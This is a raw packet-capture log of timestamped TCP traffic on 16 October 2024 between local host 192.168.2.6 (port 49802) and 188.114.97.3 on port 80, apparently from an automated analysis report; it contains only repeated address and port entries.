                                                                                    Oct 16, 2024 10:58:24.493678093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493686914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493696928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493700981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493726015 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493753910 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.494990110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.494999886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495014906 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495037079 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.495049000 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.495682955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495711088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495719910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495726109 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.495739937 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.495754957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495758057 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.495767117 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495776892 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495798111 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.495817900 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.495862961 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495873928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495883942 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495892048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495901108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495902061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.495913982 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.495913982 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.495940924 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.495953083 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499072075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499080896 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499147892 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499149084 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499149084 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499156952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499188900 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499200106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499209881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499219894 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499228954 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499229908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499228954 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499255896 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499277115 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499442101 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499458075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499468088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499484062 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499492884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499497890 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499505043 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499515057 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499541044 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499548912 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499552965 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499564886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499574900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499586105 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499586105 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499596119 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499604940 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499618053 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499649048 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499666929 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499676943 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499685049 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499694109 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499697924 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499711990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499716043 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499722958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499732018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499736071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499747038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499752045 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499789953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499799967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499810934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499826908 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499849081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499849081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499860048 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499871016 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499886036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499897003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499898911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499918938 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499941111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499953032 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499957085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499968052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499974966 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499979973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.499988079 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.499989986 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.500000000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.500006914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.500010967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.500013113 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.500030994 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.500051022 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.536359072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.536406040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.536420107 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.536420107 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.536438942 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.536441088 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.536453009 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.536463976 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.536464930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.536479950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.536499977 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.580986023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581008911 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581018925 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581028938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581041098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581099987 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581125975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581136942 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581139088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581151962 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581165075 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581168890 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581178904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581188917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581192017 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581218958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581218958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581227064 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581243992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581254005 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581280947 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581329107 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581367016 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581370115 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581382990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581392050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581408978 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581422091 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581485033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581525087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581530094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581541061 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581549883 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581562042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581564903 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581584930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581603050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581605911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581614971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581628084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581640959 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581650972 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581655979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581665039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581676960 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581677914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581686974 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581687927 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581701040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.581703901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581726074 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.581748009 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.594763041 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.594789028 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.594798088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.594825029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.594841957 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.606501102 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.606515884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.606527090 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.606571913 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.606585026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.607779026 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.607806921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.607816935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.607822895 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.607829094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.607840061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.607861042 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.607870102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.607893944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.607906103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.607932091 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.607954979 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.607954979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.607968092 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.607992887 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608004093 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608023882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608035088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608062029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608072042 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608078957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608114958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608117104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608129025 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608176947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608186960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608198881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608210087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608210087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608211040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608228922 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608228922 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608234882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608238935 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608247042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608258963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608262062 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608270884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608278036 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608278036 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608282089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608294964 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608311892 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608338118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608346939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608352900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608362913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608371973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608376980 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608385086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608393908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608402967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608406067 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608432055 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608449936 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608477116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608489990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608500004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608510017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608519077 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608520031 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608546972 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608550072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608558893 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608560085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608578920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608588934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608588934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608599901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608619928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608637094 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608685970 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608696938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608705997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608716011 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608724117 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608731985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608741999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608743906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608752966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608762980 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608768940 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608774900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608783960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608784914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608795881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608808994 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608819008 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608838081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608841896 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.608858109 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608881950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.608964920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609004021 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609031916 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609044075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609070063 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609095097 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609107971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609118938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609128952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609148026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609155893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609164953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609194040 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609216928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609227896 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609237909 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609256029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609266996 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609278917 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609308004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609318972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609328985 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609343052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609345913 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609359980 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609375000 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609395981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609407902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609417915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609426022 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.609433889 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609457016 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.609478951 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.610727072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.610774994 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.610785961 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.610800982 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.610811949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.610824108 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.610831022 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.610831976 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.610852957 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.610860109 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.610862017 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.610894918 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.610919952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.610937119 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.610949039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.610960007 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.610960960 CEST4980280192.168.2.6188.114.97.3
